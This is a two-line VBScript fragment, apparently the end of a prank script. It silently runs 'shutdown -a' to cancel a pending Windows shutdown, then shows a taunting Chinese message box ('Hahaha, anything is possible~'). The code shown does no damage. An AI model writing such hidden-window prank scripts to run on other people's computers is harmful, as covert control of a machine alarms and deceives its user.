WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"